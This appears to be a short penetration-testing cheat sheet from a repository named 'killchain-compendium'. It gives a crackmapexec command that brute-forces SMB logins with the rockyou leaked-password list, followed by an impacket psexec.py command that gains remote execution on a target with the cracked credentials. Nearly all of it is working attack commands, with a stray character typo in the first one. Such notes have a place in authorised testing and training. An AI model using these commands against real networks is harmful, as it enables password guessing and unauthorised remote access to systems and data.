killchain-compendium/crackmapexec.md

11 lines
308 B
Markdown
Raw Normal View History

2021-11-04 17:19:58 +01:00
# Crackmapexec
* Dictionary attack against SMB
```sh
cme smb domain.name -u <user> s -p /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
```
* Use the password with `impacket/examples/psexec.py` in the following way
```sh
psexec.py domain.name/<user>:<password>@<target-IP>
```